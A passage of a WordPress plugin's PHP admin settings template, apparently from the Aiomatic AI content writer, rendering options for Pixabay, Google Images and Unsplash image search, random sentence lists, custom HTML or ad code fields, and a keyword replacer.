name="aiomatic_Main_Settings[pixabay_api]" value="<?php echo esc_html($pixabay_api); ?>" placeholder="<?php echo esc_html__("Please insert your Pixabay API key", 'aiomatic-automatic-ai-content-writer');?>"> </div> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Filter results by image type.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Image Types To Search:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <select class="cr_width_full" name="aiomatic_Main_Settings[imgtype]" > <option value='all'<?php if ($imgtype == 'all') echo ' selected'; ?>><?php echo esc_html__("All", 'aiomatic-automatic-ai-content-writer');?></option> <option value='photo'<?php if ($imgtype == 'photo') echo ' selected'; ?>><?php echo esc_html__("Photo", 'aiomatic-automatic-ai-content-writer');?></option> <option value='illustration'<?php if ($imgtype == 'illustration') echo ' selected'; ?>><?php echo esc_html__("Illustration", 'aiomatic-automatic-ai-content-writer');?></option> <option value='vector'<?php if ($imgtype == 'vector') echo ' selected'; ?>><?php echo esc_html__("Vector", 'aiomatic-automatic-ai-content-writer');?></option> </select> </div> </td> </tr> <tr> <th> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Order results by a predefined rule.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php esc_html_e('Results Order: ', 'aiomatic-automatic-ai-content-writer'); ?></b> </th> <td> <select name="aiomatic_Main_Settings[img_order]" class="cr_width_full"> <option value="popular"<?php if ($img_order == "popular") { echo " selected"; } ?>><?php echo esc_html__("Popular", 'aiomatic-automatic-ai-content-writer');?></option> <option value="latest"<?php if ($img_order == "latest") { echo " selected"; } ?>><?php echo esc_html__("Latest", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr> <th> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Filter results by image category.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php esc_html_e('Image Category: ', 'aiomatic-automatic-ai-content-writer'); ?></b> </th> <td> <select name="aiomatic_Main_Settings[img_cat]" class="cr_width_full"> <option value="all"<?php if ($img_cat == "all") { echo " selected"; } ?>><?php echo esc_html__("All", 'aiomatic-automatic-ai-content-writer');?></option> <option value="fashion"<?php if ($img_cat == "fashion") { echo " selected"; } ?>><?php echo esc_html__("Fashion", 'aiomatic-automatic-ai-content-writer');?></option> <option value="nature"<?php if ($img_cat == "nature") { echo " selected"; } ?>><?php echo esc_html__("Nature", 'aiomatic-automatic-ai-content-writer');?></option> <option value="backgrounds"<?php if ($img_cat == "backgrounds") { echo " selected"; } ?>><?php echo esc_html__("Backgrounds", 'aiomatic-automatic-ai-content-writer');?></option> <option value="science"<?php if ($img_cat == "science") { echo " selected"; } ?>><?php echo esc_html__("Science", 'aiomatic-automatic-ai-content-writer');?></option> <option value="education"<?php if ($img_cat == "education") { echo " selected"; } ?>><?php echo esc_html__("Education", 'aiomatic-automatic-ai-content-writer');?></option> <option value="people"<?php if ($img_cat == "people") { echo " selected"; } ?>><?php echo esc_html__("People", 'aiomatic-automatic-ai-content-writer');?></option> <option value="feelings"<?php if ($img_cat == "feelings") { echo " selected"; } ?>><?php echo esc_html__("Feelings", 'aiomatic-automatic-ai-content-writer');?></option> <option value="religion"<?php if ($img_cat == "religion") { echo " selected"; } ?>><?php echo esc_html__("Religion", 'aiomatic-automatic-ai-content-writer');?></option> <option value="health"<?php if ($img_cat == "health") { echo " selected"; } ?>><?php echo esc_html__("Health", 'aiomatic-automatic-ai-content-writer');?></option> <option value="places"<?php if ($img_cat == "places") { echo " selected"; } ?>><?php echo esc_html__("Places", 'aiomatic-automatic-ai-content-writer');?></option> <option value="animals"<?php if ($img_cat == "animals") { echo " selected"; } ?>><?php echo esc_html__("Animals", 'aiomatic-automatic-ai-content-writer');?></option> <option value="industry"<?php if ($img_cat == "industry") { echo " selected"; } ?>><?php echo esc_html__("Industry", 'aiomatic-automatic-ai-content-writer');?></option> <option value="food"<?php if ($img_cat == "food") { echo " selected"; } ?>><?php echo esc_html__("Food", 'aiomatic-automatic-ai-content-writer');?></option> <option value="computer"<?php if ($img_cat == "computer") { echo " selected"; } ?>><?php echo esc_html__("Computer", 'aiomatic-automatic-ai-content-writer');?></option> <option value="sports"<?php if ($img_cat == "sports") { echo " selected"; } ?>><?php echo esc_html__("Sports", 'aiomatic-automatic-ai-content-writer');?></option> <option value="transportation"<?php if ($img_cat == "transportation") { echo " selected"; } ?>><?php echo esc_html__("Transportation", 'aiomatic-automatic-ai-content-writer');?></option> <option value="travel"<?php if ($img_cat == "travel") { echo " selected"; } ?>><?php echo esc_html__("Travel", 'aiomatic-automatic-ai-content-writer');?></option> <option value="buildings"<?php if ($img_cat == "buildings") { echo " selected"; } ?>><?php echo esc_html__("Buildings", 'aiomatic-automatic-ai-content-writer');?></option> <option value="business"<?php if ($img_cat == "business") { echo " selected"; } ?>><?php echo esc_html__("Business", 'aiomatic-automatic-ai-content-writer');?></option> <option value="music"<?php if ($img_cat == "music") { echo " selected"; } ?>><?php echo esc_html__("Music", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr> <th> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Minimum image width.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php esc_html_e('Image Min Width: ', 'aiomatic-automatic-ai-content-writer'); ?></b> </th> <td> <input type="number" min="1" step="1" name="aiomatic_Main_Settings[img_width]" value="<?php echo esc_html($img_width);?>" placeholder="<?php echo esc_html__("Please insert image min width", 'aiomatic-automatic-ai-content-writer');?>" class="cr_width_full"> </td> </tr> <tr> <th> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Maximum image width.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php esc_html_e('Image Max Width: ', 'aiomatic-automatic-ai-content-writer'); ?></b> </th> <td> <input type="number" min="1" step="1" name="aiomatic_Main_Settings[img_mwidth]" value="<?php echo esc_html($img_mwidth);?>" placeholder="<?php echo esc_html__("Please insert image max width", 'aiomatic-automatic-ai-content-writer');?>" class="cr_width_full"> </td> </tr> <tr> <th> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("A flag indicating that only images suitable for all ages should be returned.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php esc_html_e('Safe Search: ', 'aiomatic-automatic-ai-content-writer'); ?></b> </th> <td> <label class="aiomatic-switch"><input type="checkbox" id="img_ss" name="aiomatic_Main_Settings[img_ss]"<?php if ($img_ss == 'on') echo ' checked '; ?>><span class="aiomatic-slider round"></span></label> </td> </tr> <tr> <th> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select images that have received an Editor's Choice award.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php esc_html_e('Editor\'s Choice: ', 'aiomatic-automatic-ai-content-writer'); ?></b> </th> <td> <label class="aiomatic-switch"><input type="checkbox" id="img_editor" name="aiomatic_Main_Settings[img_editor]"<?php if ($img_editor == 'on') echo ' checked '; ?>><span class="aiomatic-slider round"></span></label> </td> </tr> <tr> <th> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Specify default language for regional content.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php esc_html_e('Filter Language: ', 'aiomatic-automatic-ai-content-writer'); ?></b> </th> <td> <select name="aiomatic_Main_Settings[img_language]" class="cr_width_full"> <option value="any"<?php if ($img_language == "any") { echo " selected"; } ?>><?php echo esc_html__("Any", 'aiomatic-automatic-ai-content-writer');?></option> <option value="en"<?php if ($img_language == "en") { echo " selected"; } ?>><?php echo esc_html__("English", 'aiomatic-automatic-ai-content-writer');?></option> <option value="cs"<?php if ($img_language == "cs") { echo " selected"; } ?>><?php echo esc_html__("Czech", 'aiomatic-automatic-ai-content-writer');?></option> <option value="da"<?php if ($img_language == "da") { echo " selected"; } ?>><?php echo esc_html__("Danish", 'aiomatic-automatic-ai-content-writer');?></option> <option value="de"<?php if ($img_language == "de") { echo " selected"; } ?>><?php echo esc_html__("German", 'aiomatic-automatic-ai-content-writer');?></option> <option value="es"<?php if ($img_language == "es") { echo " selected"; } ?>><?php echo esc_html__("Spanish", 'aiomatic-automatic-ai-content-writer');?></option> <option value="fr"<?php if ($img_language == "fr") { echo " selected"; } ?>><?php echo esc_html__("French", 'aiomatic-automatic-ai-content-writer');?></option> <option value="id"<?php if ($img_language == "id") { echo " selected"; } ?>><?php echo esc_html__("Indonesian", 'aiomatic-automatic-ai-content-writer');?></option> <option value="it"<?php if ($img_language == "it") { echo " selected"; } ?>><?php echo esc_html__("Italian", 'aiomatic-automatic-ai-content-writer');?></option> <option value="hu"<?php if ($img_language == "hu") { echo " selected"; } ?>><?php echo esc_html__("Hungarian", 'aiomatic-automatic-ai-content-writer');?></option> <option value="nl"<?php if ($img_language == "nl") { echo " selected"; } ?>><?php echo esc_html__("Dutch", 'aiomatic-automatic-ai-content-writer');?></option> <option value="no"<?php if ($img_language == "no") { echo " selected"; } ?>><?php echo esc_html__("Norvegian", 'aiomatic-automatic-ai-content-writer');?></option> <option value="pl"<?php if ($img_language == "pl") { echo " selected"; } ?>><?php echo esc_html__("Polish", 'aiomatic-automatic-ai-content-writer');?></option> <option value="pt"<?php if ($img_language == "pt") { echo " selected"; } ?>><?php echo esc_html__("Portuguese", 'aiomatic-automatic-ai-content-writer');?></option> <option value="ro"<?php if ($img_language == "ro") { echo " selected"; } ?>><?php echo esc_html__("Romanian", 'aiomatic-automatic-ai-content-writer');?></option> <option value="sk"<?php if ($img_language == "sk") { echo " selected"; } ?>><?php echo esc_html__("Slovak", 'aiomatic-automatic-ai-content-writer');?></option> <option value="fi"<?php if ($img_language == "fi") { echo " selected"; } ?>><?php echo esc_html__("Finish", 'aiomatic-automatic-ai-content-writer');?></option> <option value="sv"<?php if ($img_language == "sv") { echo " selected"; } ?>><?php echo esc_html__("Swedish", 'aiomatic-automatic-ai-content-writer');?></option> <option value="tr"<?php if ($img_language == "tr") { echo " selected"; } ?>><?php echo esc_html__("Turkish", 'aiomatic-automatic-ai-content-writer');?></option> <option value="vi"<?php if ($img_language == "vi") { echo " selected"; } ?>><?php echo esc_html__("Vietnamese", 'aiomatic-automatic-ai-content-writer');?></option> <option value="th"<?php if ($img_language == "th") { echo " selected"; } ?>><?php echo esc_html__("Thai", 'aiomatic-automatic-ai-content-writer');?></option> <option value="bg"<?php if ($img_language == "bg") { echo " selected"; } ?>><?php echo esc_html__("Bulgarian", 'aiomatic-automatic-ai-content-writer');?></option> <option value="ru"<?php if ($img_language == "ru") { echo " selected"; } ?>><?php echo esc_html__("Russian", 'aiomatic-automatic-ai-content-writer');?></option> <option value="el"<?php if ($img_language == "el") { echo " selected"; } ?>><?php echo esc_html__("Greek", 'aiomatic-automatic-ai-content-writer');?></option> <option value="ja"<?php if ($img_language == "ja") { echo " selected"; } ?>><?php echo esc_html__("Japanese", 'aiomatic-automatic-ai-content-writer');?></option> <option value="ko"<?php if ($img_language == "ko") { echo " selected"; } ?>><?php echo esc_html__("Korean", 'aiomatic-automatic-ai-content-writer');?></option> <option value="zh"<?php if ($img_language == "zh") { echo " selected"; } ?>><?php echo esc_html__("Chinese", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr><tr class="aiomatic-title-holder"> <td colspan="2"> <h2 class="aiomatic-inner-title"><?php echo esc_html__("Google Images API Options:", 'aiomatic-automatic-ai-content-writer');?></h2> </td></tr> <tr> <th> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to enable usage of the Google Images Search with the Creative Commons filter enabled, for getting images.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php esc_html_e('Enable Google Images Search Usage: ', 'aiomatic-automatic-ai-content-writer'); ?></b> </th> <td> <label class="aiomatic-switch"><input type="checkbox" id="google_images" name="aiomatic_Main_Settings[google_images]"<?php if ($google_images == 'on') echo ' checked '; ?>><span class="aiomatic-slider round"></span></label> </td> </tr><tr class="aiomatic-title-holder"> <td colspan="2"> <h2 class="aiomatic-inner-title"><?php echo esc_html__("Unsplash API Options:", 'aiomatic-automatic-ai-content-writer');?></h2> </td></tr> <tr> <th> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to enable usage of the Unsplash API for getting images.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php esc_html_e('Enable Unsplash API Usage: ', 'aiomatic-automatic-ai-content-writer'); ?></b> </th> <td> <label class="aiomatic-switch"><input type="checkbox" id="unsplash_api" name="aiomatic_Main_Settings[unsplash_api]"<?php if ($unsplash_api == 'on') echo ' checked '; ?>><span class="aiomatic-slider round"></span></label> </td> </tr><tr class="aiomatic-title-holder"> <td colspan="2"> <h2 class="aiomatic-inner-title"><?php echo esc_html__("Pixabay Direct Scraping Options:", 'aiomatic-automatic-ai-content-writer');?></h2> </td></tr> <tr> <th> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to enable direct scraping of Pixabay website. This will generate different results from the API.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php esc_html_e('Enable Pixabay Direct Website Scraping: ', 'aiomatic-automatic-ai-content-writer'); ?></b> </th> <td> <label class="aiomatic-switch"><input type="checkbox" id="pixabay_scrape" name="aiomatic_Main_Settings[pixabay_scrape]"<?php if ($pixabay_scrape == 'on') echo ' checked '; ?>><span class="aiomatic-slider round"></span></label> </td> </tr> <tr> <th> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Filter results by image type.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php esc_html_e('Image Types To Search: ', 'aiomatic-automatic-ai-content-writer'); ?></b> </th> <td> <select name="aiomatic_Main_Settings[scrapeimgtype]" class="cr_width_full"> <option value="all"<?php if ($scrapeimgtype == "all") { echo " selected"; } ?>><?php echo esc_html__("All", 'aiomatic-automatic-ai-content-writer');?></option> <option value="photo"<?php if ($scrapeimgtype == "photo") { echo " selected"; } ?>><?php echo esc_html__("Photo", 'aiomatic-automatic-ai-content-writer');?></option> <option value="illustration"<?php if ($scrapeimgtype == "illustration") { echo " selected"; } ?>><?php echo esc_html__("Illustration", 'aiomatic-automatic-ai-content-writer');?></option> <option value="vector"<?php if ($scrapeimgtype == "vector") { echo " selected"; } ?>><?php echo esc_html__("Vector", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr> <th> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Filter results by image orientation.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php esc_html_e('Image Orientation: ', 'aiomatic-automatic-ai-content-writer'); ?></b> </th> <td> <select name="aiomatic_Main_Settings[scrapeimg_orientation]" class="cr_width_full"> <option value="all"<?php if ($scrapeimg_orientation == "all") { echo " selected"; } ?>><?php echo esc_html__("All", 'aiomatic-automatic-ai-content-writer');?></option> <option value="horizontal"<?php if ($scrapeimg_orientation == "horizontal") { echo " selected"; } ?>><?php echo esc_html__("Horizontal", 'aiomatic-automatic-ai-content-writer');?></option> <option value="vertical"<?php if ($scrapeimg_orientation == "vertical") { echo " selected"; } ?>><?php echo esc_html__("Vertical", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr> <th> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Order results by a predefined rule.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php esc_html_e('Results Order: ', 'aiomatic-automatic-ai-content-writer'); ?></b> </th> <td> <select name="aiomatic_Main_Settings[scrapeimg_order]" class="cr_width_full"> <option value="any"<?php if ($scrapeimg_order == "any") { echo " selected"; } ?>><?php echo esc_html__("Any", 'aiomatic-automatic-ai-content-writer');?></option> <option value="popular"<?php if ($scrapeimg_order == "popular") { echo " selected"; } ?>><?php echo esc_html__("Popular", 'aiomatic-automatic-ai-content-writer');?></option> <option value="latest"<?php if ($scrapeimg_order == "latest") { echo " selected"; } ?>><?php echo esc_html__("Latest", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr> <th> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Filter results by image category.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php esc_html_e('Image Category: ', 'aiomatic-automatic-ai-content-writer'); ?></b> </th> <td> <select name="aiomatic_Main_Settings[scrapeimg_cat]" class="cr_width_full"> <option value="all"<?php if ($scrapeimg_cat == "all") { echo " selected"; } ?>><?php echo esc_html__("All", 'aiomatic-automatic-ai-content-writer');?></option> <option value="fashion"<?php if ($scrapeimg_cat == "fashion") { echo " selected"; } ?>><?php echo esc_html__("Fashion", 'aiomatic-automatic-ai-content-writer');?></option> <option value="nature"<?php if ($scrapeimg_cat == "nature") { echo " selected"; } ?>><?php echo esc_html__("Nature", 'aiomatic-automatic-ai-content-writer');?></option> <option value="backgrounds"<?php if ($scrapeimg_cat == "backgrounds") { echo " selected"; } ?>><?php echo esc_html__("Backgrounds", 'aiomatic-automatic-ai-content-writer');?></option> <option value="science"<?php if ($scrapeimg_cat == "science") { echo " selected"; } ?>><?php echo esc_html__("Science", 'aiomatic-automatic-ai-content-writer');?></option> <option value="education"<?php if ($scrapeimg_cat == "education") { echo " selected"; } ?>><?php echo esc_html__("Education", 'aiomatic-automatic-ai-content-writer');?></option> <option value="people"<?php if ($scrapeimg_cat == "people") { echo " selected"; } ?>><?php echo esc_html__("People", 'aiomatic-automatic-ai-content-writer');?></option> <option value="feelings"<?php if ($scrapeimg_cat == "feelings") { echo " selected"; } ?>><?php echo esc_html__("Feelings", 'aiomatic-automatic-ai-content-writer');?></option> <option value="religion"<?php if ($scrapeimg_cat == "religion") { echo " selected"; } ?>><?php echo esc_html__("Religion", 'aiomatic-automatic-ai-content-writer');?></option> <option value="health"<?php if ($scrapeimg_cat == "health") { echo " selected"; } ?>><?php echo esc_html__("Health", 'aiomatic-automatic-ai-content-writer');?></option> <option value="places"<?php if ($scrapeimg_cat == "places") { echo " selected"; } ?>><?php echo esc_html__("Places", 'aiomatic-automatic-ai-content-writer');?></option> <option value="animals"<?php if ($scrapeimg_cat == "animals") { echo " selected"; } ?>><?php echo esc_html__("Animals", 'aiomatic-automatic-ai-content-writer');?></option> <option value="industry"<?php if ($scrapeimg_cat == "industry") { echo " selected"; } ?>><?php echo esc_html__("Industry", 'aiomatic-automatic-ai-content-writer');?></option> <option value="food"<?php if ($scrapeimg_cat == "food") { echo " selected"; } ?>><?php echo esc_html__("Food", 'aiomatic-automatic-ai-content-writer');?></option> <option value="computer"<?php if ($scrapeimg_cat == "computer") { echo " selected"; } ?>><?php echo esc_html__("Computer", 'aiomatic-automatic-ai-content-writer');?></option> <option value="sports"<?php if ($scrapeimg_cat == "sports") { echo " selected"; } ?>><?php echo esc_html__("Sports", 'aiomatic-automatic-ai-content-writer');?></option> <option value="transportation"<?php if ($scrapeimg_cat == "transportation") { echo " selected"; } ?>><?php echo esc_html__("Transportation", 'aiomatic-automatic-ai-content-writer');?></option> <option value="travel"<?php if ($scrapeimg_cat == "travel") { echo " selected"; } ?>><?php echo esc_html__("Travel", 'aiomatic-automatic-ai-content-writer');?></option> <option value="buildings"<?php if ($scrapeimg_cat == "buildings") { echo " selected"; } ?>><?php echo esc_html__("Buildings", 'aiomatic-automatic-ai-content-writer');?></option> <option value="business"<?php if ($scrapeimg_cat == "business") { echo " selected"; } ?>><?php echo esc_html__("Business", 'aiomatic-automatic-ai-content-writer');?></option> <option value="music"<?php if ($scrapeimg_cat == "music") { echo " selected"; } ?>><?php echo esc_html__("Music", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr> <th> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Minimum image width.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php esc_html_e('Image Min Width: ', 'aiomatic-automatic-ai-content-writer'); ?></b> </th> <td> <input type="number" min="1" step="1" name="aiomatic_Main_Settings[scrapeimg_width]" value="<?php echo esc_html($scrapeimg_width);?>" placeholder="<?php echo esc_html__("Please insert image min width", 'aiomatic-automatic-ai-content-writer');?>" class="cr_width_full"> </td> </tr> <tr> <th> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Maximum image height.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php esc_html_e('Image Min Height: ', 'aiomatic-automatic-ai-content-writer'); ?></b> </th> <td> <input type="number" min="1" step="1" name="aiomatic_Main_Settings[scrapeimg_height]" value="<?php echo esc_html($scrapeimg_height);?>" placeholder="<?php echo esc_html__("Please insert image min height", 'aiomatic-automatic-ai-content-writer');?>" class="cr_width_full"> </td> </tr> </td></tr></table> </div> <div id="tab-9<?php if($is_activated !== true && $is_activated !== 2){echo 'x';}?>" class="tab-content"> <h3><?php echo esc_html__('Random Sentences', 'aiomatic-automatic-ai-content-writer');?></h3> <p class="aiomatic-settings-desc"><?php echo esc_html__("The 'Random Sentences' tab provides tools to generate and customize random sentences, offering creative content solutions and inspiration for your WordPress site.", 'aiomatic-automatic-ai-content-writer'); ?></p> <table class="widefat"> <tr class="aiomatic-title-holder"> <td> <h2 class="aiomatic-inner-title"><?php echo esc_html__("Random Sentence Generator Settings:", 'aiomatic-automatic-ai-content-writer');?></h2> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Insert some sentences from which you want to get one at random. You can also use variables defined below. %something ==> is a variable. Each sentence must be separated by a new line.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("First List of Possible Sentences (%%random_sentence%%):", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <textarea rows="8" class="cr_width_full" cols="70" name="aiomatic_Main_Settings[sentence_list]" placeholder="<?php echo esc_html__("Please insert the first list of sentences", 'aiomatic-automatic-ai-content-writer');?>"><?php echo esc_textarea($sentence_list); ?></textarea> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Insert some sentences from which you want to get one at random. You can also use variables defined below. %something ==> is a variable. Each sentence must be separated by a new line.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Second List of Possible Sentences (%%random_sentence2%%):", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <textarea rows="8" cols="70" class="cr_width_full" name="aiomatic_Main_Settings[sentence_list2]" placeholder="<?php echo esc_html__("Please insert the second list of sentences", 'aiomatic-automatic-ai-content-writer');?>"><?php echo esc_textarea($sentence_list2); ?></textarea> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Insert some variables you wish to be exchanged for different instances of one sentence. Please format this list as follows:<br/> Variablename => Variables (seperated by semicolon)<br/>Example:<br/>adjective => clever;interesting;smart;huge;astonishing;unbelievable;nice;adorable;beautiful;elegant;fancy;glamorous;magnificent;helpful;awesome<br/>", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("List of Possible Variables:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <textarea rows="8" cols="70" class="cr_width_full" name="aiomatic_Main_Settings[variable_list]" placeholder="<?php echo esc_html__("Please insert the list of variables", 'aiomatic-automatic-ai-content-writer');?>"><?php echo esc_textarea($variable_list); ?></textarea> </td> </tr></table> </div> <div id="tab-10<?php if($is_activated !== true && $is_activated !== 2){echo 'x';}?>" class="tab-content"> <h3><?php echo esc_html__('Custom HTML', 'aiomatic-automatic-ai-content-writer');?></h3> <p class="aiomatic-settings-desc"><?php echo esc_html__("The 'Custom HTML' tab allows you to directly edit and manage HTML code, giving you the flexibility to create custom designs and functionalities for your WordPress site.", 'aiomatic-automatic-ai-content-writer'); ?></p> <table class="widefat"> <tr class="aiomatic-title-holder"> <td> <h2 class="aiomatic-inner-title"><?php echo esc_html__("Custom HTML Code/ Ad Code Settings:", 'aiomatic-automatic-ai-content-writer');?></h2> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Insert a custom HTML code that will replace the %%custom_html%% variable. This can be anything, even an Ad code.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Custom HTML Code #1:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <textarea rows="3" cols="70" class="cr_width_full" name="aiomatic_Main_Settings[custom_html]" placeholder="<?php echo esc_html__("Custom HTML #1", 'aiomatic-automatic-ai-content-writer');?>"><?php echo esc_textarea($custom_html); ?></textarea> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Insert a custom HTML code that will replace the %%custom_html2%% variable. This can be anything, even an Ad code.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Custom HTML Code #2:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <textarea rows="3" cols="70" class="cr_width_full" name="aiomatic_Main_Settings[custom_html2]" placeholder="<?php echo esc_html__("Custom HTML #2", 'aiomatic-automatic-ai-content-writer');?>"><?php echo esc_textarea($custom_html2); ?></textarea> </td> </tr> </table> </div> <div id="tab-11<?php if($is_activated !== true && $is_activated !== 2){echo 'x';}?>" class="tab-content"> <h3><?php echo esc_html__('Keyword Replacer', 'aiomatic-automatic-ai-content-writer');?></h3> <p class="aiomatic-settings-desc"><?php echo esc_html__("The 'Keyword Replacer' tab offers tools to automatically identify and replace specified keywords throughout your WordPress site's content, enhancing SEO and content consistency.", 'aiomatic-automatic-ai-content-writer'); ?></p> <table class="widefat"> <tr class="aiomatic-title-holder"> <td> <h2 class="aiomatic-inner-title"><?php echo esc_html__("Keyword Replacer Settings:", 'aiomatic-automatic-ai-content-writer');?></h2> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want the Keyword Replacer Tool to match also partial words, or only full words.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Match Also Partial Words:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <label class="aiomatic-switch"><input type="checkbox" id="partial_kws" name="aiomatic_Main_Settings[partial_kws]"<?php if ($partial_kws == 'on') echo ' checked '; ?>><span class="aiomatic-slider round"></span></label> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want the Keyword Replacer Tool to match in a case sensitive words mode (upper case differentiated from lower case words).", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Make Search Case Sensitive:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <label class="aiomatic-switch"><input type="checkbox" id="kws_case" name="aiomatic_Main_Settings[kws_case]"<?php if ($kws_case == 'on') echo ' checked '; ?>><span class="aiomatic-slider round"></span></label> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to open added links in a new tab.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Don't Open Links In A New Tab:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <label class="aiomatic-switch"><input type="checkbox" id="no_new_tab_kw" name="aiomatic_Main_Settings[no_new_tab_kw]"<?php if ($no_new_tab_kw == 'on') echo ' checked '; ?>><span class="aiomatic-slider round"></span></label> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Add a comma separated list of post IDs on which the Keyword Replacer will not function.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Skip Processing Of These Post 